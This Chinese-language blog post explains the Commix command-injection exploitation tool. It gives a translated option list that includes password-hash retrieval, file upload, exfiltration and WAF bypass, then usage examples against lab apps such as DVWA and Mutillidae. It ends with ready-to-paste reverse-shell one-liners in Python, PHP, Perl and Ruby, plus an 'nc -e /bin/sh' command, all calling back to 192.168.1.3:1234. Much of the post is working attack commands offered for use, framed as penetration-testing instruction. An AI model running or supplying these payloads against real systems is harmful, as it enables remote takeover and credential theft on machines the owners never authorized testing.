热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

Commix命令注入漏洞利用

介绍项目地址:https:github.comstasinopouloscommixCommix是一个使用Python开发的漏洞测试工具,这个工具是为了方便的检测一个请求是否存在命令注

介绍

  项目地址:https://github.com/stasinopoulos/commix

  Commix是一个使用Python开发的漏洞测试工具,这个工具是为了方便的检测一个请求是否存在命令注入漏洞,并且对其进行测试,在其作者发布的最新版本中支持直接直接导入burp的历史记录进行检测,大大提高了易用性。

使用

选项:
    
-v           VERBOSE详细程度级别(0-1,默认值:0)。
    
--version       显示版本号并退出。
    
--output-dir=..   设置自定义输出目录路径。
    
-s SESSION_FILE   从存储(.sqlite)文件加载会话。
    
--flush-session   刷新当前目标的会话文件。
    
--ignore-session  忽略存储在会话文件中的结果。

  目标:
    
-u URL,--url = URL  目标URL。
    
--url-reload      在命令执行后重新加载目标URL。
    
-l LOGFILE       解析来自HTTP代理日志文件的目标和数据。
    
--crawl = CRAWLDEPTH 从目标网址开始抓取网站(1-2,默认值:0)。

  请求:
    
--data=DATA      要通过POST发送的数据字符串。
    
--host=HOST       HTTP主机头。
    
--referer=REFERER   HTTP Referer标头。
    
--user-agent=AGENT  HTTP用户代理头。
    
--random-agent    使用随机选择的HTTP User-Agent头。
    
--param-del=PDEL   设置分割参数值的字符。
    
--COOKIE=COOKIE    HTTP COOKIE头。
    
--COOKIE-del=CDEL   设置分割COOKIE值的字符。
    
--headers=HEADERS  额外标头(例如「Header1:Value1 \ nHeader2:Value2」)。
    
--proxy=PROXY     使用HTTP代理(例如“127.0.0.1:8080”)。
    
--tor          使用Tor网络。
    
--tor-port=...    设置Tor代理端口(默认值:8118)。
    
--auth-url=...    登录面板URL。
    
--auth-data =AUTH   登录参数和数据。
    
--auth-type =AUTH   HTTP认证类型(例如“基本”或“摘要”)。
    
--auth-cred =AUTH   HTTP身份验证凭据(例如“admin:admin”)。
    
--ignore-401      忽略HTTP错误401(未授权)。
    
--force-ssl      强制使用SSL / HTTPS。

  枚举:
    这些选项可用于枚举目标主机。
    
--all            检索一切。
    
--current-user       检索当前用户名。
    
--hostname         检索当前主机名。
    
--is-root          检查当前用户是否具有root权限。
    
--is-admin         检查当前用户是否具有管理员权限。
    
--sys-info         检索系统信息。
    
--users           检索系统用户。
    
--passwords         检索系统用户密码散列。
    
--privileges        检索系统用户权限。
    
--ps-version        检索PowerShell的版本号。

  文件访问:
    这些选项可用于访问目标主机上的文件。
    
--file-read = FILE ..  从目标主机读取文件。
    
--file-write = FIL ..  写入目标主机上的文件。
    
--file-upload = FI ..  在目标主机上上传文件。
    
--file-dest = FILE ..  写入和/或上传到的主机的绝对文件路径。

  模块:
    这些选项可用于增加检测和
/或注射能力。
    
--icmp-exfil = IP_ ..'ICMP exfiltration'注入模块。 (例如'ip_src = 192.168.178.1,ip_dst = 192.168.178.3')。
    
--dns-server = DNS ..“DNS exfiltration”注入模块。  (用于DNS筛选攻击的域名)。
    
--shellshock“炮弹”注射模块。
  注射:
    这些选项可用于指定要插入和输入的参数,提供定制注入有效负载。
    
-p TEST_PARAMETER    可测试参数。
    
--suffix = SUFFIX    注入有效负载后缀字符串。
    
--prefix = PREFIX    注入有效负载前缀字符串。
    
--technique = TECH   指定要使用的进样技术。
    
--maxlen = MAXLEN    设置与时间相关的最大输出长度,注射技术(默认:10000字符)。
    
--delay = DELAY     设置与时间相关的注入的自定义时间延迟术(默认:1秒)。
    
--tmp-path = TMP_P .. 设置Web服务器的临时目录的绝对路径。
    
--root-dir = SRV_R .. 设置Web服务器根目录的绝对路径。
    
--alter-shell = AL .. 使用另一个os-shell(例如'Python')。
    
--os-cmd = OS_CMD    执行单个操作系统命令。
    
--os = OS        将后端操作系统强制为此值。
    
--tamper = TAMPER   使用给定脚本篡改注射数据。

  检测:
    这些选项可用于自定义检测阶段。

    
--level = LEVEL  要执行的测试级别(1-3,默认值:1)。
    
--skip-calc    在检测期间跳过数学计算
    
--dependencies  检查第三方(非内核)依赖关系。
    
--skip-waf    绕过启发式检测WAF / IPS / IDS保护。

使用举例

python commix.py –url="http://192.168.1.4/test/test.php?addr=INJECT_HERE” --os-cmd="nc -e /bin/sh 192.168.1.3 1234″

 

Freebuf给出的一些用法(http://www.freebuf.com/sectool/64030.html)

测试漏洞web应用Damn 

python commix.py --url="http://192.168.178.58/DVWA-1.0.8/vulnerabilities/exec/#" --data="ip=INJECT_HERE&submit=submit" --COOKIE="security=medium; PHPSESSID=nq30op434117mo7o2oe5bl7is4"

使用注入攻击Payload参数测试php-Charts 1.0

python commix.py --url="http://192.168.178.55/php-charts_v1.0/wizard/index.php?type=INJECT_HERE" --prefix="//" --suffix="'"

使用特殊的头和HTTP代理测试OWASP Mutillidae

python commix.py --url="http://192.168.178.46/mutillidae/index.php?popUpNotificatiOnCode=SL5&page=dns-lookup.php" --data="target_host=INJECT_HERE" --headers="Accept-Language:fr\nETag:123\n" --proxy="127.0.0.1:8081"

使用ICMP渗漏(exfiltration)技术测试Persistence

su -c "python commix.py --url="http://192.168.178.8/debug.php" --data="addr=127.0.0.1" --icmp-exfil="ip_src=192.168.178.5,ip_dst=192.168.178.8""

 

配合一些反弹shell

1. Python-reverse-shell:
  python
-c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\”192.168.1.3\”,1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\”/bin/sh\”,\”-i\”]);’
2. PHP-reverse-shell:
  php
-r ‘\$sock=fsockopen(\”192.168.1.3\”,1234);exec(\”/bin/sh -i <%263 >%263 2>%263\”);’
3. Perl-reverse-shell:
  
perl -e ‘use Socket;\$i=\”192.168.1.3\”;\$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\”tcp\”));if(connect(S,sockaddr_in(\$p,inet_aton(\$i)))){open(STDIN,\”>%26S\”);open(STDOUT,\”>%26S\”);open(STDERR,\”>%26S\”);exec(\”/bin/sh -i\”);};’
4. Ruby-reverse-shell:
  ruby
-rsocket -e ‘exit if fork;c=TCPSocket.new(\”192.168.1.3\”,1234);while(cmd=c.gets);IO.popen(cmd,\”r\”){|io|c.print io.read}end’

 


推荐阅读
  • 这是原文链接:sendingformdata许多情况下,我们使用表单发送数据到服务器。服务器处理数据并返回响应给用户。这看起来很简单,但是 ... [详细]
  • Webmin远程命令执行漏洞复现及防护方法
    本文介绍了Webmin远程命令执行漏洞CVE-2019-15107的漏洞详情和复现方法,同时提供了防护方法。漏洞存在于Webmin的找回密码页面中,攻击者无需权限即可注入命令并执行任意系统命令。文章还提供了相关参考链接和搭建靶场的步骤。此外,还指出了参考链接中的数据包不准确的问题,并解释了漏洞触发的条件。最后,给出了防护方法以避免受到该漏洞的攻击。 ... [详细]
  • 解决nginx启动报错epoll_wait() reported that client prematurely closed connection的方法
    本文介绍了解决nginx启动报错epoll_wait() reported that client prematurely closed connection的方法,包括检查location配置是否正确、pass_proxy是否需要加“/”等。同时,还介绍了修改nginx的error.log日志级别为debug,以便查看详细日志信息。 ... [详细]
  • Android实战——jsoup实现网络爬虫,糗事百科项目的起步
    本文介绍了Android实战中使用jsoup实现网络爬虫的方法,以糗事百科项目为例。对于初学者来说,数据源的缺乏是做项目的最大烦恼之一。本文讲述了如何使用网络爬虫获取数据,并以糗事百科作为练手项目。同时,提到了使用jsoup需要结合前端基础知识,以及如果学过JS的话可以更轻松地使用该框架。 ... [详细]
  • 本文介绍了NetCore WebAPI开发的探索过程,包括新建项目、运行接口获取数据、跨平台部署等。同时还提供了客户端访问代码示例,包括Post函数、服务器post地址、api参数等。详细讲解了部署模式选择、框架依赖和独立部署的区别,以及在Windows和Linux平台上的部署方法。 ... [详细]
  • Centos7.6安装Gitlab教程及注意事项
    本文介绍了在Centos7.6系统下安装Gitlab的详细教程,并提供了一些注意事项。教程包括查看系统版本、安装必要的软件包、配置防火墙等步骤。同时,还强调了使用阿里云服务器时的特殊配置需求,以及建议至少4GB的可用RAM来运行GitLab。 ... [详细]
  • Windows下配置PHP5.6的方法及注意事项
    本文介绍了在Windows系统下配置PHP5.6的步骤及注意事项,包括下载PHP5.6、解压并配置IIS、添加模块映射、测试等。同时提供了一些常见问题的解决方法,如下载缺失的msvcr110.dll文件等。通过本文的指导,读者可以轻松地在Windows系统下配置PHP5.6,并解决一些常见的配置问题。 ... [详细]
  • 本文介绍了Web学习历程记录中关于Tomcat的基本概念和配置。首先解释了Web静态Web资源和动态Web资源的概念,以及C/S架构和B/S架构的区别。然后介绍了常见的Web服务器,包括Weblogic、WebSphere和Tomcat。接着详细讲解了Tomcat的虚拟主机、web应用和虚拟路径映射的概念和配置过程。最后简要介绍了http协议的作用。本文内容详实,适合初学者了解Tomcat的基础知识。 ... [详细]
  • 在重复造轮子的情况下用ProxyServlet反向代理来减少工作量
    像不少公司内部不同团队都会自己研发自己工具产品,当各个产品逐渐成熟,到达了一定的发展瓶颈,同时每个产品都有着自己的入口,用户 ... [详细]
  • 如何利用 Myflash 解析 binlog ?
    本文主要介绍了对Myflash的测试,从准备测试环境到利用Myflash解析binl ... [详细]
  • POCOCLibraies属于功能广泛、轻量级别的开源框架库,它拥有媲美Boost库的功能以及较小的体积广泛应用在物联网平台、工业自动化等领域。POCOCLibrai ... [详细]
  • centos6.8 下nginx1.10 安装 ... [详细]
  • php7 curl_init(),php7.3curl_init获取301、302跳转后的数据
    最近在做一个蜘蛛项目,发现在抓取数据时,有时会碰到301的页面,原本写的curl_init函数php7-远程获取api接口或网页内容&#x ... [详细]
  • 【技术分享】一个 ELF 蠕虫分析
    【技术分享】一个 ELF 蠕虫分析 ... [详细]
  • 第一种&amp;amp;lt;script&amp;amp;gt;$(&amp;quot;.eq&amp;quot;).on(&amp;qu ... [详细]
author-avatar
卓菘碧625
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有